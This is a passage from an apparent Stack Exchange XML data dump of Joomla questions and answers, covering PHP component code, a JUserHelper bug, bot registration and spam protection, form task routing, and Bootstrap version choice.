$active_tasks;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Calls &lt;code&gt;getTasks&lt;/code&gt; and compiles array of tasks that are completed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getCompletedTasks($user_id){&#xA;&#xA;    $project_tasks = $this-&amp;gt;getTasks($user_id);&#xA;    $tasks = $this-&amp;gt;loopAndFind($project_tasks, 'STATUS', 'COMPLETED');&#xA;    $i = 0;&#xA;    foreach ($tasks as $key=&amp;gt;$value){&#xA;            $completed_tasks[$i] = $this-&amp;gt;taskStyler($key, $value);&#xA;            $i++;&#xA;    }&#xA;    return $completed_tasks;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Curl session with API server that returns an array of tasks (known to work perfectly)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getTasks($user_id){&#xA;&#xA;    $task_url = 'https://api.insight.ly/v2/tasks';&#xA;&#xA;    $curl = curl_init($task_url);&#xA;    curl_setopt($curl, CURLOPT_HTTPHEADER, array(&#xA;            'Content-Type: application/json',&#xA;            'Authorization: Basic Dontlookatmypassword')&#xA;    );&#xA;    curl_setopt($curl, CURLOPT_HEADER, 0);&#xA;    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&#xA;&#xA;    $curl_response = curl_exec($curl);&#xA;    if ($curl_response){&#xA;        $decoded = json_decode($curl_response, true);&#xA;        $project_tasks = $this-&amp;gt;loopAndFind($decoded, 'PROJECT_ID', $user_id);&#xA;        return $project_tasks;&#xA;    }&#xA;    else {&#xA;        die('An Error occurred retrieving Tasks. Additional info: ' . curl_error($curl));&#xA;    }&#xA;    curl_close($curl);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Returns an array representing a datafield of a task with the keys and some values edited for readability, and html tags, classes and ids appended.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function taskStyler ($key, $value){&#xA;    $html_tag = &quot;li&quot;;&#xA;    $html_class = null;&#xA;    $html_id = null;&#xA;&#xA;    switch ($key)&#xA;    {&#xA;        case &quot;Title&quot;:&#xA;            $key = &quot;Task&quot;;&#xA;            $html_tag = &quot;h3&quot;;&#xA;            break;&#xA;        case &quot;DUE_DATE&quot;:&#xA;            $key = &quot;Due Date&quot;;&#xA;            $value = $this-&amp;gt;dateFormatter($value);&#xA;            break;&#xA;        case &quot;COMPLETED_DATE_UTC&quot;:&#xA;            $key = &quot;Date Completed&quot;;&#xA;            $value = $this-&amp;gt;dateFormatter($value);&#xA;            break;&#xA;        case &quot;DETAILS&quot;:&#xA;            $key = &quot;Details&quot;;&#xA;            $value = strip_tags($value);&#xA;            break;&#xA;        case &quot;STATUS&quot;:&#xA;            $key = &quot;Status&quot;;&#xA;            break;&#xA;        case &quot;PERCENT_COMPLETE&quot;:&#xA;            $key = &quot;Percent Complete&quot;;&#xA;            $value = $value . &quot;&amp;amp;#37;&quot;;&#xA;            break;&#xA;        case &quot;START_DATE&quot;:&#xA;            $key = &quot;Start Date&quot;;&#xA;            $value = $this-&amp;gt;dateFormatter($value);&#xA;            break;&#xA;        case &quot;RESPONSIBLE_USER_ID&quot;:&#xA;            $key = &quot;Assigned to&quot;;&#xA;            $value = $this-&amp;gt;idMask($value);&#xA;            break;&#xA;        default:&#xA;            $value = null;&#xA;    }&#xA;    if ($value) {&#xA;        $task = [$key, $value, $html_tag, $html_class, $html_id];&#xA;    }&#xA;    else{ $task = null;&#xA;    }&#xA;    return $task;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="375" LastEditorUserId="159" LastEditDate="2014-05-10T12:37:57.200" LastActivityDate="2014-05-11T08:27:24.033" Title="Calling model from view error: Fatal error: Call to undefined function" Tags="|joomla-3.x|component|mvc|fix-my-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="714" PostTypeId="2" ParentId="673" CreationDate="2014-05-09T04:15:44.973" Score="3" Body="&lt;p&gt;While restructuring our &lt;a href=&quot;http://www.readybytes.net/blog/item/improving-speed-of-joomla-based-website.html&quot; rel=&quot;nofollow&quot;&gt;company website&lt;/a&gt; we had the same experience.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Previously we were using akeeba for backing up our websites. This time&#xA;  we decided to remove akeeba backup system from our joomla based&#xA;  website.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We wrote simple phing scripts to build backups and dump them to&#xA;  protected Amazon S3 service. This improved our backup process and it&#xA;  takes now 60-80 seconds, around 4x faster than akeeba backup.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use these scripts to improve backup and its transfer to s3.&#xA;&lt;a href=&quot;https://github.com/readybytes/joomla-scripts/tree/master/backup&quot; rel=&quot;nofollow&quot;&gt;https://github.com/readybytes/joomla-scripts/tree/master/backup&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-05-09T04:15:44.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="715" PostTypeId="2" ParentId="713" CreationDate="2014-05-09T06:24:34.790" Score="2" Body="&lt;p&gt;The problem is in your view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;$this-&amp;gt;get('project')&lt;/code&gt;, which would call the &lt;code&gt;getProject()&lt;/code&gt; method of your model. However it doesn't allow to pass an argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus in your case, you need to fetch the model first and the call the method on it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model   = $this-&amp;gt;getModel();&#xA;$project = $model-&amp;gt;getProject($user_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-09T06:24:34.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="716" PostTypeId="2" ParentId="698" CreationDate="2014-05-09T07:05:19.797" Score="3" Body="&lt;p&gt;Bulk registration is a big issue for any website. We were facing the same issue, but using captcha is not an option because it hurts to genuine user.&lt;/p&gt;&#xA;&lt;p&gt;We started to use&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://CloudFlare.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;CloudFlare&lt;/a&gt; : Helped us from bots, also have firewall to protect against known joomla attacks.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.fail2ban.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fail2Ban&lt;/a&gt; : Can block user when they perform certain action n-times.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;These helped a lot in keeping spam away, and registration simple for our users.&#xA;We have shared it in a &lt;a href=&quot;http://www.readybytes.net/blog/item/improving-speed-of-joomla-based-website.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Security and Spam protection : For this crucial subject we are currently relying on Fail2ban and Cloudflare. They help us in securing our servers and applications from malicious hacking attempts as well as spams. There respective task lists includes the following.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fail2ban observes server logs and blocks the suspicious hackers and spammers.&lt;/li&gt;&#xA;&lt;li&gt;Cloudflare has a real-time firewall installed to protect the applications from exploits, XSS, SQL injection attacks.&lt;/li&gt;&#xA;&lt;li&gt;Cloudflare can identify spam users by browser integrity checks and block them as well.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="144" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-05-09T07:05:19.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="717" PostTypeId="1" AcceptedAnswerId="723" CreationDate="2014-05-09T07:23:19.967" Score="5" ViewCount="844" Body="&lt;p&gt;I was refactoring some code in an older component and I came across this warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Strict standards: Non-static method JUserHelper::getProfile() should not be called statically, assuming $this from incompatible context &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$userProfile = JUserHelper::getProfile($userId);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I do understand the technical nature of the warning, as &lt;code&gt;getProfile&lt;/code&gt; is not declared &lt;code&gt;static&lt;/code&gt;, &lt;code&gt;JUserHelper&lt;/code&gt; is abstract, so it cannot be instantiated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curiously all other methods in the class are define as &lt;code&gt;static&lt;/code&gt;. Looks like a bug in 2.5 to me as in 3.x the signature is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the proper way to get the profile?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-05-09T07:36:54.660" LastActivityDate="2014-05-09T14:00:25.437" Title="Non-static method JUserHelper::getProfile() should not be called statically" Tags="|joomla-2.5|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="718" PostTypeId="2" ParentId="707" CreationDate="2014-05-09T07:48:25.670" Score="2" Body="&lt;p&gt;You can try this, but it's a core hack and not the proper way(for Joomla 3.3.0):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the file /administrator/components/com_config/models/forms/application.xml&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Search for this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field&#xA;    name=&quot;list_limit&quot;&#xA;    type=&quot;list&quot;&#xA;    default=&quot;20&quot;&#xA;    label=&quot;COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL&quot;&#xA;    description=&quot;COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_DESC&quot;&#xA;    filter=&quot;integer&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;5&quot;&amp;gt;J5&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;10&quot;&amp;gt;J10&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;15&quot;&amp;gt;J15&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;20&quot;&amp;gt;J20&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;25&quot;&amp;gt;J25&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;30&quot;&amp;gt;J30&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;50&quot;&amp;gt;J50&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;100&quot;&amp;gt;J100&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add your own values like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;option value=&quot;500&quot;&amp;gt;J500&amp;lt;/option&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-05-09T07:48:25.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="719" PostTypeId="2" ParentId="717" CreationDate="2014-05-09T09:21:42.670" Score="4" Body="&lt;p&gt;Yes, it is most probably a bug in the 2.5 - version. The getProfile()-function in JUserHelper is not used anywhere in the joomla 2.5-distribution, so the bug could go unattended, I guess. To use it as it is declared now you would have to subclass the JUserHelper - class, which really makes no sense. &lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2014-05-09T09:21:42.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="720" PostTypeId="2" ParentId="717" CreationDate="2014-05-09T11:07:46.377" Score="3" Body="&lt;p&gt;It is a bug , missing static &#xA;&lt;a href=&quot;http://prntscr.com/3hl3t1&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/3hl3t1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with static in place print&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$userProfile = JUserHelper::getProfile(42);&#xA;print_r( $userProfile );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/3hl3x7&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/3hl3x7&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for time being you can copy the function over and use it like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function MygetProfile($userId = 0)&#xA;{&#xA;    if ($userId == 0)&#xA;    {&#xA;        $user   = JFactory::getUser();&#xA;        $userId = $user-&amp;gt;id;&#xA;    }&#xA;&#xA;    // Get the dispatcher and load the user's plugins.&#xA;    $dispatcher = JDispatcher::getInstance();&#xA;    JPluginHelper::importPlugin('user');&#xA;&#xA;    $data = new JObject;&#xA;    $data-&amp;gt;id = $userId;&#xA;&#xA;    // Trigger the data preparation event.&#xA;    $dispatcher-&amp;gt;trigger('onContentPrepareData', array('com_users.profile', &amp;amp;$data));&#xA;&#xA;    return $data;&#xA;}&#xA;$userProfile = MygetProfile(42);&#xA;print_r( $userProfile );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="200" LastActivityDate="2014-05-09T11:07:46.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="721" PostTypeId="1" CreationDate="2014-05-09T13:08:37.377" Score="10" ViewCount="324" Body="&lt;p&gt;In the User Manager options (joomla 3.2) I have the &quot;Allow User Registration&quot; set to &quot;No&quot;, yet I am still getting registrations from bots.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any information about how this can happen and how it can be prevented? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problem was that JFBConnect is installed. I made sure to disable the FB login and no other incidents have occurred since then. – Donna May 20 '14 at 17:22 &lt;/p&gt;&#xA;" OwnerUserId="376" LastEditorUserId="3650" LastEditDate="2016-03-03T12:37:18.923" LastActivityDate="2016-03-03T12:37:18.923" Title="Bot registrations even with Allow User Registration set to No" Tags="|joomla-3.x|user|account|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="722" PostTypeId="2" ParentId="694" CreationDate="2014-05-09T13:47:50.783" Score="2" Body="&lt;p&gt;Migrating component from 2.x into 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;refer this link,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;step 1: &lt;a href=&quot;http://docs.joomla.org/Joomla_3_FAQ&quot; rel=&quot;nofollow&quot;&gt;Difference between 2.x into 3.x&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;step 2: &lt;a href=&quot;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2#JRequest&quot; rel=&quot;nofollow&quot;&gt;Important methods&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2014-05-09T13:54:29.053" LastActivityDate="2014-05-09T13:54:29.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="723" PostTypeId="2" ParentId="717" CreationDate="2014-05-09T14:00:25.437" Score="7" Body="&lt;p&gt;It's a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was fixed during J3 development as part of a platform update on 13-Jul-2012 c7c372.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plaform change was made on 3-Jul-2012 99b6ac PR1341 after initially raising CMS tracker item 28633.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit to @valentin for raising bug 33717 and supplying a patch against J2.5.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2014-05-09T14:00:25.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="725" PostTypeId="1" AcceptedAnswerId="747" CreationDate="2014-05-06T12:41:08.967" Score="7" ViewCount="1796" Body="&lt;p&gt;I have got in our company Joomla publication software to care about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using Joomla to publish technical magazine articles. &lt;strong&gt;Mostly one article have 2-3 authors.&lt;/strong&gt; In the past the admins solved this multiplicity with placing all author names in the beginning of article text. But this is not optimal for search article by authors, where the articles are showing only by the author which is assigned in the Article author-column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked for some module which allow us the multiple-author functionality, but without success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I’m not a Joomla expert to build my own extension. I got an idea how do this anyway:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do you know some extension that can do some “Relations”?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It means that will create table where will be stored ID from Author with ID from Article? For example the Drupal CMS has &lt;a href=&quot;https://drupal.org/project/Relation&quot;&gt;Relation&lt;/a&gt; module to achieve this. From this database table I can do the operations we needed to show in frontend.&#xA;My idea is described on &lt;a href=&quot;http://forum.joomla.org/download/file.php?id=105784&quot;&gt;this image&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using the K2 extension, but here in the “Extra fields” CCK we cannot add the extra field with Authors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are looking for solution with or withouth K2 extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that some extension will be suitable to our problem, we don have capacity to hardcode this feature.&lt;/p&gt;&#xA;" OwnerUserId="345" OwnerDisplayName="Fanger" LastEditorUserId="159" LastEditDate="2014-05-10T14:22:04.873" LastActivityDate="2014-05-14T08:57:02.410" Title="How do deal with Multiple Article Authors (with/without K2)" Tags="|joomla-2.5|k2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="726" PostTypeId="2" ParentId="725" CreationDate="2014-05-07T11:25:50.457" Score="5" Body="&lt;p&gt;If the main concern is front end search then you could just switch to using tags for displaying the authors' names.  Then you can add author information to the tag for each author and when you clicked the tag you'd get the author information plus the list of all items created by that author. You could also make a menu link for each author if you wanted to have some more control over the urls and layouts.  As a practical matter that really depends on how many authors you're talking about and how much you want to automate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also make a contact record for each author and tag that. Doing that would let you have more fields than just what you get in the tag description plus have the &quot;contact me&quot; form if you wanted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there are some display selected tags modules around that would let you display the list of articles with that author tag. There is one from last year's summer of code that is good for that but it's also very easy to make your own module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could make a plugins to manage some parts of this also.&lt;/p&gt;&#xA;" OwnerUserId="305" OwnerDisplayName="Elin" LastActivityDate="2014-05-07T11:25:50.457" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="727" PostTypeId="1" CreationDate="2014-05-08T14:18:18.707" Score="3" ViewCount="1707" Body="&lt;p&gt;For some time now I have been working with Joomla, and now I am working with a version 3.1.5.  I often make my own PHP scripts to use for AJAX callbacks and other things.  I put them in a folder called &lt;code&gt;scripts&lt;/code&gt; which isn't part of the normal Joomla installation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this I have to use some configuration code to get the scripts to work well when accessing them from Joomla.  I use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', dirname(dirname(__FILE__)));&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;/* Create the Application */&#xA;$mainframe = JFactory::getApplication('site');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Recently I am trying to call this script for AJAX and I am getting this following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;404 (Category not found)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only reason I can think of for this is that Joomla things that the user doesn't have privileges to read the script because of some reason to do with a category?  I am not sure, and I am looking for some help.  I have created any categories for this Joomla installation and I don't use them.&lt;/p&gt;&#xA;" OwnerUserId="390" OwnerDisplayName="jeffery_the_wind" LastEditorUserId="159" LastEditDate="2014-05-10T12:24:31.870" LastActivityDate="2018-04-10T13:33:17.993" Title="Error: 404 Category not found error with custom PHP script" Tags="|joomla-3.x|php|ajax|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="728" PostTypeId="1" AcceptedAnswerId="730" CreationDate="2014-05-08T15:48:45.190" Score="5" ViewCount="3175" Body="&lt;p&gt;Hi I have a question about Joomla forms. I want to understand how Joomla works internally, especially I'm interested in &lt;code&gt;com_installer&lt;/code&gt; component to know how it's working. And I found a form in &lt;code&gt;default.php&lt;/code&gt; file in &lt;code&gt;com_installer/views/install/tmpl&lt;/code&gt; folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this file there are custom buttons for submitting a form. And I'm interested in how the buttons are actually trigger the installation of components, modules or other things itself. In the form body I see some hidden values like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;install.install&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this hidden value probably trigger a installation by calling a install controller and install method of that controller. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the question is how Joomla does this? Where is the code redirecting the url from view=install to task=install.install? In other words how Joomla knows that the value form the hidden input should go to the url?&lt;/p&gt;&#xA;" OwnerUserId="379" OwnerDisplayName="Bogdan" LastEditorUserId="159" LastEditDate="2014-05-10T12:26:48.737" LastActivityDate="2014-05-10T12:26:48.737" Title="How does the form submission with views / tasks actually work?" Tags="|cms|component|development|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="729" PostTypeId="2" ParentId="728" CreationDate="2014-05-08T20:44:21.057" Score="2" Body="&lt;p&gt;The task is either a method in the controller.php in the main component folder (if it's a single word), or the name of the controller and its method separated by a dot, i.e. &lt;code&gt;install.install&lt;/code&gt; will be parsed by the method &lt;code&gt;install()&lt;/code&gt; in &lt;code&gt;controllers/install.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="377" OwnerDisplayName="Riccardo Zorn" LastActivityDate="2014-05-08T20:44:21.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="730" PostTypeId="2" ParentId="728" CreationDate="2014-05-09T16:16:58.540" Score="3" Body="&lt;p&gt;@RiccardoZorn is correct at the base level. There are two hidden form fields that are commonly set: option and task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option: The component name such as &lt;code&gt;com_example&lt;/code&gt; directs the page to load that component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Task: A controller function or a controller and a function to call. If it has a '.' in it then the part before that specifies a controller to load and then call the function with the name of the part after the period. If there is no period, then it will just run the function in the default controller (usually controller.php in the base folder of the component.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You also specifically ask about the toolbar buttons. This involves a little bit of javascript that automatically is loaded by Joomla to power the buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the button is clicked, it should trigger &lt;code&gt;Joomla.submitbutton()&lt;/code&gt;. This function takes a value that is the task to set based on the button clicked. So if you click the save button, this will commonly set the task to &lt;code&gt;import.save&lt;/code&gt;. (I don't think that button actually exists in this component, but many others will have that.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;submitbutton&lt;/code&gt; function by default just pushes that to another function &lt;code&gt;submitform&lt;/code&gt;. This function will then shift that task into the appropriate hidden field. Finally this submits the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even though those toolbar buttons are not submit buttons (or even in the form tag usually) they will still update the hidden value of &lt;code&gt;task&lt;/code&gt; and submit the form using javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the core javascript functions here: &lt;code&gt;media/system/js/core-uncompressed.js&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-05-09T16:24:23.520" LastActivityDate="2014-05-09T16:24:23.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="731" PostTypeId="1" AcceptedAnswerId="734" CreationDate="2014-05-09T17:10:24.753" Score="10" ViewCount="1149" Body="&lt;p&gt;As an extension developer, I am still confused which Bootstrap version to be used in my upcoming extension. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In many discussion I found that Joomla 3.x will not utilize bootstrap-3.0.&lt;/li&gt;&#xA;&lt;li&gt;Most of template providers uses bootstrap v3&lt;/li&gt;&#xA;&lt;li&gt;Many extensions also using bootstrap v3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What to opt ?&lt;/p&gt;&#xA;" OwnerUserId="144" LastEditorUserId="159" LastEditDate="2014-05-10T12:31:31.847" LastActivityDate="2014-05-10T12:32:21.917" Title="Which Bootstrap version should be used v2.3 or v3 in new extensions" Tags="|development|extensions|templates|twitter-bootstrap-2|twitter-bootstrap-3|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="732" PostTypeId="2" ParentId="731" CreationDate="2014-05-09T17:20:48.563" Score="1" Body="&lt;p&gt;As you've already pointed out, Joomla 3.x will not utilize Bootstrap 3.x, therefore should you decide to go along with using Bootstrap 3, then the user will be loading 2 versions of Bootstrap which may cause conflicts and will also reduce page load speeds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do is write a small script to detect which version of Bootstrap is powering the template and use that version to style your extension. I think either NoNumber or Akeeba provide the ability to choose bwteen which Bootstrap version you wish to use. I can't remember which but it might be worth having a look at how they do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But rather than using Bootstrap to style your extension, why not do some custom styling as another option? Not all template are based on Bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this gives you a little insight.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-09T17:20:48.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="733" PostTypeId="2" ParentId="731" CreationDate="2014-05-09T17:49:54.683" Score="1" Body="&lt;p&gt;In extensions you should always be looking to use Bootstrap 2 syntax in your extensions - especially in the backend. This is the officially supported version by Joomla core and therefore means you're always going to get your styling working as expected and you don't have to ship bootstrap with your template. Extensions which ship with Bootstrap 3 have to include this (note the pretty large Akeeba Strapper class that comes with Akeeba products for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template providers that use Bootstrap 3 normally allow bootstrap 2 syntax by editing their less files to take both versions of bootstrap into account. Those who don't should expect to need to use template overrides anyhow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point of Joomla shipping with Bootstrap 2 and not moving to Bootstrap 3 is so there is a b/c cross-extension CSS/JS framework across the entire Joomla series.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-05-09T17:49:54.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="734" PostTypeId="2" ParentId="731" CreationDate="2014-05-09T18:13:26.707" Score="6" Body="&lt;p&gt;Joomla 3.x ships with the files for Bootstrap 2, and due to backward compatibility this is not likely to change in Joomla 3.x series.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's important to know that Bootstrap consists of two main areas:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The CSS files&lt;/li&gt;&#xA;&lt;li&gt;The JavaScript framework&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla has those files included both as source LESS files and compiled CSS files. Joomla itself doesn't load any Bootstrap CSS files. That's up to the template to decide if it wants to use those files or ship with own CSS files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the backend, the active template usually is &quot;Isis&quot;, which heavily uses the Bootstrap 2 files. Thus it makes sense to make use of Bootstrap 2 styling in your extension backend. Especially since there aren't many alternative administration templates anyway&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In frontend however it's a completely different topic. You have no clue what template the user will use and on which framework that one will be based. Personally I settle on using Bootstrap 2 styling here as well for the sole reason that the core output uses those as well. Thus chances are high that a template will support those classes. Otherwise it provides an override for the output. If it uses overrides for core, your extension likely will need an override as well anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can of course add support for Bootstrap 3 as well, but that means to double your work. I would however never only provide Bootstrap 3 layouts without an option to load Bootstrap 2 ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JavaScript&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla has methods to load Bootstrap JavaScript code, like for tooltips or tabs.&#xA;This code can and should be used by extensions. Just make sure to load them in your layouts so they are overridable by templates if needed.&lt;/p&gt;&#xA;" 